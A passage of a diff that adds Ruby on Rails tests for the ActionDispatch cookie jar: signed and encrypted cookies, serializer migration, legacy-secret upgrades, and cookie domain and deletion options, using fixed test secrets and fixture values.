+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_signed_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+    secret = key_generator.generate_key(signed_cookie_salt)
+    json_value = ActiveSupport::MessageVerifier.new(secret, serializer: JSON).generate(45)
+    @request.headers["Cookie"] = "user_id=#{json_value}"
+
+    get :get_signed_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    assert_nil @response.cookies["user_id"]
+  end
+
+  def test_accessing_nonexistent_signed_cookie_should_not_raise_an_invalid_signature
+    get :set_signed_cookie
+    assert_nil @controller.send(:cookies).signed[:non_existent_attribute]
+  end
+
+  def test_encrypted_cookie_using_default_serializer
+    get :set_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_nil cookies.signed[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+  end
+
+  def test_encrypted_cookie_using_marshal_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :marshal
+    get :set_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_nil cookies.signed[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+  end
+
+  def test_encrypted_cookie_using_json_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    get :set_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_nil cookies.signed[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+  end
+
+  def test_wrapped_encrypted_cookie_using_json_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    get :set_wrapped_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal "wrapped: bar", cookies[:foo]
+    assert_nil cookies.signed[:foo]
+    assert_equal "wrapped: bar", cookies.encrypted[:foo]
+  end
+
+  def test_encrypted_cookie_using_custom_serializer
+    @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
+    get :set_encrypted_cookie
+    assert_not_equal "bar", cookies.encrypted[:foo]
+    assert_equal "bar was dumped and loaded", cookies.encrypted[:foo]
+  end
+
+  def test_encrypted_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    cipher = "aes-256-gcm"
+    salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    secret = @request.env["action_dispatch.key_generator"].generate_key(salt)[0, ActiveSupport::MessageEncryptor.key_len(cipher)]
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: Marshal)
+
+    marshal_value = encryptor.encrypt_and_sign("bar")
+    @request.headers["Cookie"] = "foo=#{::Rack::Utils.escape marshal_value}"
+
+    get :get_encrypted_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    json_encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
+    assert_not_nil @response.cookies["foo"]
+    assert_equal "bar", json_encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_encrypted_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    cipher = "aes-256-gcm"
+    salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    secret = @request.env["action_dispatch.key_generator"].generate_key(salt)[0, ActiveSupport::MessageEncryptor.key_len(cipher)]
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
+
+    json_value = encryptor.encrypt_and_sign("bar")
+    @request.headers["Cookie"] = "foo=#{::Rack::Utils.escape json_value}"
+
+    get :get_encrypted_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    assert_nil @response.cookies["foo"]
+  end
+
+  def test_accessing_nonexistent_encrypted_cookie_should_not_raise_invalid_message
+    get :set_encrypted_cookie
+    assert_nil @controller.send(:cookies).encrypted[:non_existent_attribute]
+  end
+
+  def test_setting_invalid_encrypted_cookie_should_return_nil_when_accessing_it
+    get :set_invalid_encrypted_cookie
+    assert_nil @controller.send(:cookies).encrypted[:invalid_cookie]
+  end
+
+  def test_permanent_signed_cookie
+    get :set_permanent_signed_cookie
+    assert_match(%r(#{20.years.from_now.utc.year}), @response.headers["Set-Cookie"])
+    assert_equal 100, @controller.send(:cookies).signed[:remember_me]
+  end
+
+  def test_delete_and_set_cookie
+    request.cookies[:user_name] = "Joe"
+    get :delete_and_set_cookie
+    assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_raise_data_overflow
+    assert_raise(ActionDispatch::Cookies::CookieOverflow) do
+      get :raise_data_overflow
+    end
+  end
+
+  def test_tampered_cookies
+    assert_nothing_raised do
+      get :tampered_cookies
+      assert_response :success
+    end
+  end
+
+  def test_cookie_jar_mutated_by_request_persists_on_future_requests
+    get :authenticate
+    cookie_jar = @request.cookie_jar
+    cookie_jar.signed[:user_id] = 123
+    assert_equal ["user_name", "user_id"], @request.cookie_jar.instance_variable_get(:@cookies).keys
+    get :get_signed_cookie
+    assert_equal ["user_name", "user_id"], @request.cookie_jar.instance_variable_get(:@cookies).keys
+  end
+
+  def test_raises_argument_error_if_missing_secret
+    assert_raise(ArgumentError, nil.inspect) {
+      @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new(nil)
+      get :set_signed_cookie
+    }
+
+    assert_raise(ArgumentError, "".inspect) {
+      @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("")
+      get :set_signed_cookie
+    }
+  end
+
+  def test_raises_argument_error_if_secret_is_probably_insecure
+    assert_raise(ArgumentError, "password".inspect) {
+      @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("password")
+      get :set_signed_cookie
+    }
+
+    assert_raise(ArgumentError, "secret".inspect) {
+      @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("secret")
+      get :set_signed_cookie
+    }
+
+    assert_raise(ArgumentError, "12345678901234567890123456789".inspect) {
+      @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("12345678901234567890123456789")
+      get :set_signed_cookie
+    }
+  end
+
+  def test_signed_uses_signed_cookie_jar_if_only_secret_token_is_set
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = nil
+    get :set_signed_cookie
+    assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed
+  end
+
+  def test_signed_uses_signed_cookie_jar_if_only_secret_key_base_is_set
+    @request.env["action_dispatch.secret_token"] = nil
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    get :set_signed_cookie
+    assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed
+  end
+
+  def test_signed_uses_upgrade_legacy_signed_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    get :set_signed_cookie
+    assert_kind_of ActionDispatch::Cookies::UpgradeLegacySignedCookieJar, cookies.signed
+  end
+
+  def test_signed_or_encrypted_uses_signed_cookie_jar_if_only_secret_token_is_set
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = nil
+    get :get_encrypted_cookie
+    assert_kind_of ActionDispatch::Cookies::SignedCookieJar, cookies.signed_or_encrypted
+  end
+
+  def test_signed_or_encrypted_uses_encrypted_cookie_jar_if_only_secret_key_base_is_set
+    @request.env["action_dispatch.secret_token"] = nil
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    get :get_encrypted_cookie
+    assert_kind_of ActionDispatch::Cookies::EncryptedCookieJar, cookies.signed_or_encrypted
+  end
+
+  def test_signed_or_encrypted_uses_upgrade_legacy_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    get :get_encrypted_cookie
+    assert_kind_of ActionDispatch::Cookies::UpgradeLegacyEncryptedCookieJar, cookies.signed_or_encrypted
+  end
+
+  def test_encrypted_uses_encrypted_cookie_jar_if_only_secret_key_base_is_set
+    @request.env["action_dispatch.secret_token"] = nil
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    get :get_encrypted_cookie
+    assert_kind_of ActionDispatch::Cookies::EncryptedCookieJar, cookies.encrypted
+  end
+
+  def test_encrypted_uses_upgrade_legacy_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    get :get_encrypted_cookie
+    assert_kind_of ActionDispatch::Cookies::UpgradeLegacyEncryptedCookieJar, cookies.encrypted
+  end
+
+  def test_legacy_signed_cookie_is_read_and_transparently_upgraded_by_signed_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    get :get_signed_cookie
+
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_legacy_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate("bar")
+
+    @request.headers["Cookie"] = "foo=#{legacy_value}"
+    get :get_encrypted_cookie
+
+    assert_equal "bar", @controller.send(:cookies).encrypted[:foo]
+
+    cipher = "aes-256-gcm"
+    salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    secret = @request.env["action_dispatch.key_generator"].generate_key(salt)[0, ActiveSupport::MessageEncryptor.key_len(cipher)]
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: Marshal)
+    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    get :get_signed_cookie
+
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate("bar")
+
+    @request.headers["Cookie"] = "foo=#{legacy_value}"
+    get :get_encrypted_cookie
+
+    assert_equal "bar", @controller.send(:cookies).encrypted[:foo]
+
+    cipher = "aes-256-gcm"
+    salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    secret = @request.env["action_dispatch.key_generator"].generate_key(salt)[0, ActiveSupport::MessageEncryptor.key_len(cipher)]
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
+    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    get :get_signed_cookie
+
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate("bar")
+
+    @request.headers["Cookie"] = "foo=#{legacy_value}"
+    get :get_encrypted_cookie
+
+    assert_equal "bar", @controller.send(:cookies).encrypted[:foo]
+
+    cipher = "aes-256-gcm"
+    salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    secret = @request.env["action_dispatch.key_generator"].generate_key(salt)[0, ActiveSupport::MessageEncryptor.key_len(cipher)]
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
+    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_legacy_marshal_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    get :get_signed_cookie
+
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_legacy_marshal_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate("bar")
+
+    @request.headers["Cookie"] = "foo=#{legacy_value}"
+    get :get_encrypted_cookie
+
+    assert_equal "bar", @controller.send(:cookies).encrypted[:foo]
+
+    cipher = "aes-256-gcm"
+    salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    secret = @request.env["action_dispatch.key_generator"].generate_key(salt)[0, ActiveSupport::MessageEncryptor.key_len(cipher)]
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
+    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_legacy_signed_cookie_is_treated_as_nil_by_signed_cookie_jar_if_tampered
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    @request.headers["Cookie"] = "user_id=45"
+    get :get_signed_cookie
+
+    assert_nil @controller.send(:cookies).signed[:user_id]
+    assert_nil @response.cookies["user_id"]
+  end
+
+  def test_legacy_signed_cookie_is_treated_as_nil_by_encrypted_cookie_jar_if_tampered
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    @request.headers["Cookie"] = "foo=baz"
+    get :get_encrypted_cookie
+
+    assert_nil @controller.send(:cookies).encrypted[:foo]
+    assert_nil @response.cookies["foo"]
+  end
+
+  def test_legacy_hmac_aes_cbc_encrypted_marshal_cookie_is_upgraded_to_authenticated_encrypted_cookie
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    @request.env["action_dispatch.encrypted_cookie_salt"] =
+      @request.env["action_dispatch.encrypted_signed_cookie_salt"] = SALT
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt)
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+    marshal_value = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret, serializer: Marshal).encrypt_and_sign("bar")
+
+    @request.headers["Cookie"] = "foo=#{marshal_value}"
+
+    get :get_encrypted_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    aead_cipher = "aes-256-gcm"
+    aead_salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    aead_secret = key_generator.generate_key(aead_salt)[0, ActiveSupport::MessageEncryptor.key_len(aead_cipher)]
+    aead_encryptor = ActiveSupport::MessageEncryptor.new(aead_secret, cipher: aead_cipher, serializer: Marshal)
+
+    assert_equal "bar", aead_encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_legacy_hmac_aes_cbc_encrypted_json_cookie_is_upgraded_to_authenticated_encrypted_cookie
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    @request.env["action_dispatch.encrypted_cookie_salt"] =
+      @request.env["action_dispatch.encrypted_signed_cookie_salt"] = SALT
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt)
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+    marshal_value = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret, serializer: JSON).encrypt_and_sign("bar")
+
+    @request.headers["Cookie"] = "foo=#{marshal_value}"
+
+    get :get_encrypted_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    aead_cipher = "aes-256-gcm"
+    aead_salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    aead_secret = key_generator.generate_key(aead_salt)[0, ActiveSupport::MessageEncryptor.key_len(aead_cipher)]
+    aead_encryptor = ActiveSupport::MessageEncryptor.new(aead_secret, cipher: aead_cipher, serializer: JSON)
+
+    assert_equal "bar", aead_encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_legacy_hmac_aes_cbc_encrypted_cookie_using_64_byte_key_is_upgraded_to_authenticated_encrypted_cookie
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    @request.env["action_dispatch.encrypted_cookie_salt"] =
+      @request.env["action_dispatch.encrypted_signed_cookie_salt"] = SALT
+
+    # Cookie generated with 64 bytes secret
+    message = ["566d4e75536d686e633246564e6b493062557079626c566d51574d30515430394c53315665564a694e4563786555744f57537454576b396a5a31566a626e52525054303d2d2d34663234333330623130623261306163363562316266323335396164666364613564643134623131"].pack("H*")
+    @request.headers["Cookie"] = "foo=#{message}"
+
+    get :get_encrypted_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+    cipher = "aes-256-gcm"
+
+    salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    secret = @request.env["action_dispatch.key_generator"].generate_key(salt)[0, ActiveSupport::MessageEncryptor.key_len(cipher)]
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: Marshal)
+
+    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_cookie_with_all_domain_option
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.com; path=/"
+  end
+
+  def test_cookie_with_all_domain_option_using_a_non_standard_tld
+    @request.host = "two.subdomains.nextangle.local"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+  end
+
+  def test_cookie_with_all_domain_option_using_australian_style_tld
+    @request.host = "nextangle.com.au"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.com.au; path=/"
+  end
+
+  def test_cookie_with_all_domain_option_using_uk_style_tld
+    @request.host = "nextangle.co.uk"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.co.uk; path=/"
+  end
+
+  def test_cookie_with_all_domain_option_using_host_with_port
+    @request.host = "nextangle.local:3000"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+  end
+
+  def test_cookie_with_all_domain_option_using_localhost
+    @request.host = "localhost"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; path=/"
+  end
+
+  def test_cookie_with_all_domain_option_using_ipv4_address
+    @request.host = "192.168.1.1"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; path=/"
+  end
+
+  def test_cookie_with_all_domain_option_using_ipv6_address
+    @request.host = "2001:0db8:85a3:0000:0000:8a2e:0370:7334"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; path=/"
+  end
+
+  def test_deleting_cookie_with_all_domain_option
+    request.cookies[:user_name] = "Joe"
+    get :delete_cookie_with_domain
+    assert_response :success
+    assert_cookie_header "user_name=; domain=.nextangle.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+  end
+
+  def test_cookie_with_all_domain_option_and_tld_length
+    get :set_cookie_with_domain_and_tld
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.com; path=/"
+  end
+
+  def test_cookie_with_all_domain_option_using_a_non_standard_tld_and_tld_length
+    @request.host = "two.subdomains.nextangle.local"
+    get :set_cookie_with_domain_and_tld
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+  end
+
+  def test_cookie_with_all_domain_option_using_a_non_standard_2_letter_tld
+    @request.host = "admin.lvh.me"
+    get :set_cookie_with_domain_and_tld
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.lvh.me; path=/"
+  end
+
+  def test_cookie_with_all_domain_option_using_host_with_port_and_tld_length
+    @request.host = "nextangle.local:3000"
+    get :set_cookie_with_domain_and_tld
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+  end
+
+  def test_deleting_cookie_with_all_domain_option_and_tld_length
+    request.cookies[:user_name] = "Joe"
+    get :delete_cookie_with_domain_and_tld
+    assert_response :success
+    assert_cookie_header "user_name=; domain=.nextangle.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+  end
+
+  def test_cookie_with_several_preset_domains_using_one_of_these_domains
+    @request.host = "example1.com"
+    get :set_cookie_with_domains
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=example1.com; path=/"
+  end
+
+  def test_cookie_with_several_preset_domains_using_other_domain
+    @request.host = "other-domain.com"
+    get :set_cookie_with_domains
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; path=/"
+  end
+
+  def test_cookie_with_several_preset_domains_using_shared_domain
+    @request.host = "example3.com"
+    get :set_cookie_with_domains
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.example3.com; path=/"
+  end
+
+  def test_deletings_cookie_with_several_preset_domains_using_one_of_these_domains
+    @request.host = "example2.com"
+    request.cookies[:user_name] = "Joe"
+    get :delete_cookie_with_domains
+    assert_response :success
+    assert_cookie_header "user_name=; domain=example2.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+  end
+
+  def test_deletings_cookie_with_several_preset_domains_using_other_domain
+    @request.host = "other-domain.com"
+    request.cookies[:user_name] = "Joe"
+    get :delete_cookie_with_domains
+    assert_response :success
+    assert_cookie_header "user_name=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+  end
+
+  def test_cookies_hash_is_indifferent_access
+    get :symbol_key
+    assert_equal "david", cookies[:user_name]
+    assert_equal "david", cookies["user_name"]
+    get :string_key
+    assert_equal "dhh", cookies[:user_name]
+    assert_equal "dhh", cookies["user_name"]
+  end
+
+  def test_setting_request_cookies_is_indifferent_access
+    cookies.clear
+    cookies[:user_name] = "andrew"
+    get :string_key_mock
+    assert_equal "david", cookies["user_name"]
+
+    cookies.clear
+    cookies["user_name"] = "andrew"
+    get :symbol_key_mock
+    assert_equal "david", cookies[:user_name]
+  end
+
+  def test_cookies_retained_across_requests
+    get :symbol_key
+    assert_cookie_header "user_name=david; path=/"
+    assert_equal "david", cookies[:user_name]
+
+    get :noop
+    assert_not_includes @response.headers, "Set-Cookie"
+    assert_equal "david", cookies[:user_name]
+
+    get :noop
+    assert_not_includes @response.headers, "Set-Cookie"
+    assert_equal "david", cookies[:user_name]
+  end
+
+  def test_cookies_can_be_cleared
+    get :symbol_key
+    assert_equal "david", cookies[:user_name]
+
+    cookies.clear
+    get :noop
+    assert_nil cookies[:user_name]
+
+    get :symbol_key
+    assert_equal "david", cookies[:user_name]
+  end
+
+  def test_can_set_http_cookie_header
+    @request.env["HTTP_COOKIE"] = "user_name=david"
+    get :noop
+    assert_equal "david", cookies["user_name"]
+    assert_equal "david", cookies[:user_name]
+
+    get :noop
+    assert_equal "david", cookies["user_name"]
+    assert_equal "david", cookies[:user_name]
+
+    @request.env["HTTP_COOKIE"] = "user_name=andrew"
+    get :noop
+    assert_equal "andrew", cookies["user_name"]
+    assert_equal "andrew", cookies[:user_name]
+  end
+
+  def test_can_set_request_cookies
+    @request.cookies["user_name"] = "david"
+    get :noop
+    assert_equal "david", cookies["user_name"]
+    assert_equal "david", cookies[:user_name]
+
+    get :noop
+    assert_equal "david", cookies["user_name"]
+    assert_equal "david", cookies[:user_name]
+
+    @request.cookies[:user_name] = "andrew"
+    get :noop
+    assert_equal "andrew", cookies["user_name"]
+    assert_equal "andrew", cookies[:user_name]
+  end
+
+  def test_cookies_precedence_over_http_cookie
+    @request.env["HTTP_COOKIE"] = "user_name=andrew"
+    get :authenticate
+    assert_equal "david", cookies["user_name"]
+    assert_equal "david", cookies[:user_name]
+
